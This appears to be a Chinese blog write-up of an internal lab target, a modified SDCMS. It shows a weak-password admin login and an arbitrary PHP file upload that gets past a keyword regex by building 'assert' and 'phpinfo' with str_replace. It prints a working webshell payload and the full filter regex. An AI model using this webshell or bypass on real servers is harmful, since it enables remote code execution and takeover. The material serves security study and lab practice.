内部靶场系列|Sdcms

一、 靶场考核点

靶场说明:魔改后的cms

漏洞类型:任意文件上传

难点:合适的文件头部,文件内容需要绕过正则拦截

二、 靶场复现

1、 弱口令进入后台 admin/admin

http://192.168.93.225:84/?m=admin

2、选择文件上传

3、上传jpg后缀的文件

4、提示非法图像文件,初步怀疑会检测文件头,添加GIF89a

5、还是提示非法图像文件,尝试上传正常的图片,发现可以上传

6、猜测是否会检测文件内容,尝试上传未带有关键字的文件内容,发现上传成功

7、由此可见,该应用会检测文件内容是否带有关键字段,先查看是否能上传php文件,且是否能解析php代码

8、绕过关键字拦截进行上传

GIF89a

<?php

$a = str_replace("b", "", "phpbinfob");

$a();

           ?>

9、访问

10、ctrl+f 搜索flag

11、上传webshell

GIF89a

<?php

               $a = str_replace("b", "", "absbsbebrbt");

               $a($_POST['csb666']);

           ?>

12、连接webshell

三、 漏洞分析

1、根据关键字定位业务关键代码

2、其中/app/admin/controller/upload.php为后台上传相关代码,通读代码发现此文件跟漏洞关联性不大

/app/lib/class/sdcms_upload.php为文件上传相关代码,定义了白名单

3、这里将 php  添加进了白名单

请求中的type参数决定了是图片文件,还是视频文件,或者是附件文件

(这里我修改了 type =1   type=3,方便在上传图片、附件进行测试)

如果上传文件的后缀名,不在白名单里的话,会提示文件类型错误

4、单纯的在这里加了白名单,那么任意的php文件都可以上传,显得有点简单,因此继续往下面看代码

如果在这个if语句这里添加 “.php”,那么上传的php文件进入到这个判断里来

5、这个判断语句中的check_bad 函数会检测上传的文件是否合法

6、全局搜索check_bad 函数,发现正则匹配来拦截关键字

$num=preg_match_all("/(phpinfo|pack\(|str_rot13|system\(|eval\(|request\(|execute\(|file_put_contents|file_get_contents|exec\(|chroot\(|scandir\(|chgrp\(|chown\(|proc_open\(|popen\(|putenv\(|proc_get_status|error_log\(|ini_alter\(|ini_set\(|ini_restore\(|dll\(|pfsockopen\(|syslog\(|readlink\(|symlink\(|stream_socket_server|preg_replace\(|delfolder\(|unlink\(|mkdir\(|fopen\(|fread\(|fwrite\(|fputs\(|tmpfile\(|flock\(|load_file\(|outfile\(|chmod\(|delete\(|payload\(|assert\(|cmdshell\(|wshshell\(|_post\(|_get\(|_file\(|create_function|call_user_func|passthru\(|array_walk|getenv\(|register_|escapeshellcmd\(|rmdir\(|rename\(|readfile\(|session_|array_filter|array_flip|array_merge|shell_|parse_str|glob\(|import_|get_defined_|get_included_)/Ui",str_replace(["'.'","\".\""],"",$str),$match);

7、既然知道了拦截规则,那么现在就来绕过。由上可知,该函数基本上拦截常见的关键字(eg: phpinfo),但是规则是死的,人是活的,只要将关键字进行拆分、隔开等就可以实现绕过。

这里用的是str_replace 函数(替换字符串)从一串字符中提出关键字

如:

Phpinfo()

<?php

$a = str_replace("b", "", "phpbinfob");

$a();

           ?>

//将b替换为空  phpbinfob  ---> phpinfo

Webshell

<?php

               $a = str_replace("b", "", "absbsbebrbt");

               $a($_POST['csb666']);

           ?>

// absbsbebrbt  ---> assert

8、上传webhsell

  • 1
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
SDCMS是由时代设计全力打造的一款网站信息管理系统。SDCMS以信息为主题,通过以文字和图片标题为起点,以无限栏目分类为支撑,配合多项插件的灵活使用,以达到信息门户的远景!  SDCMS总结各类信息门户的现状,充分考虑符合站长需求的前提下。设计了灵活多变的标签调用方式,满足了不同层次的需求。 SDCMS安全第一为原则,解决了ASP程序的常见漏洞问题(服务器自身的问题除外)。程序自身无任何后门,严格的代码过滤功能为网站的安全运行提供了可靠的保障。 SDCMS以DIV CSS为框架,在主流的IE和FF浏览器上测试均能正常运行。系统全自动生成HTML文件,无需独自生成任何文件(调整系统界面的除外)。SDCMS做了很大程度上的优化,为每个信息都设置了关键字功能,在同类系统中能尽快被搜索引擎收录,为网站带来流量,甚至收入! SDCMS的发展离不开大家的支持,欢迎有志于参与SDCMS基础建设和发展的各位朋友! 功能简介: SDCMS后台设有五大栏目导航分别为:系统管理、信息管理、插件管理、界面管理以及生成管理。  系统管理:包含系统设置、系统日志、友情链接以及系统帐户管理等栏目的管理。   信息管理:包含通知、信息分类、信息以及单页内容的管理。   插件管理:包含投票 修正的功能 1.修正了修改管理员密码会自动退出登陆的问题 2.修正了友情连接未加上顺序调整的问题 3.修正了FF下广告组不能显示等一系列FF下出现的问题 4.修正了广告管理中的一系列问题 调整的功能 1.上传的文件按日期放于附件文件夹内 2.改写了图片文件类型判断和站外文件判断函数 3.搜索单独放于search文件夹内 4.重新调整了调用的标签,更加人性化 5.分离了列表、搜索、公告等分页,更加方便设置分页和列表的样式 6.更改了分类关键字的类型 7.评论管理页增加信息链接 8.调整默认编辑器插入图片窗口大小 9.最新信息调用将根目录属性改为是否调用分类信息,具体请看标签说明 10.公告、信息,链接等栏目生成相关信息调整为可选择是否立刻生成 11.SDCMS后台目录调整为可以直接改名而不影响其他设置 12.改进了信息的生成方式,每生成20条信息自动暂停5秒 13.去掉了包含根目录设置的标签中的根目录选项,不在区分目录,且系统不再支持虚拟目录的使用 14.程序开始支持MSSQL的正常使用,存储过程稍后推出。 新增的功能 1.增加信息页面(当前)所在位置的导航连接 2.自定义标签增加作者和评论数量的显示标签 3.编辑器调整,增加去除超链接功能 4.后台登陆增加登陆失败处理次数限制,防止恶意登陆 5.增加站点地图功能sitemap.html和sitemap.xml以及RSS功能 6.后台信息,可以按分类管理信息和搜索信息 7.增加公告,信息以及单页的内分页功能 8.分类增加批量设置功能 9.信息、单页增加自定义名称的功能 10.增加站内链接功能 11.分类增加了分页数量的控制,方便调整各个类别的分页数量 12.信息显示页增加相关文章功能(依据tags,为空则显示最新) 13.增加eWebEditor_V4.60编辑器,后台系统设置里可以自由更换编辑器(需要使用ewebeditor其他版本的用户,只需要将editor/ewebeditor文件替换掉即可) 14.后台增加了对后台、单页以及附件目录的控制 15.增加对单条信息的评论控制,可以单独控制信息评论的开启和关闭防止恶意评论 16.增加对过滤设置的数据处理函数,防止评论,流言等模块出现星号以及不能提交信息的问题 17.最新信息调用增加按最后更新日期排序的功能 18.增加了幻灯信息标签{sdcms:flashinfo(t0,t1,t2,t3,t4)},详细参数请见标签说明

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值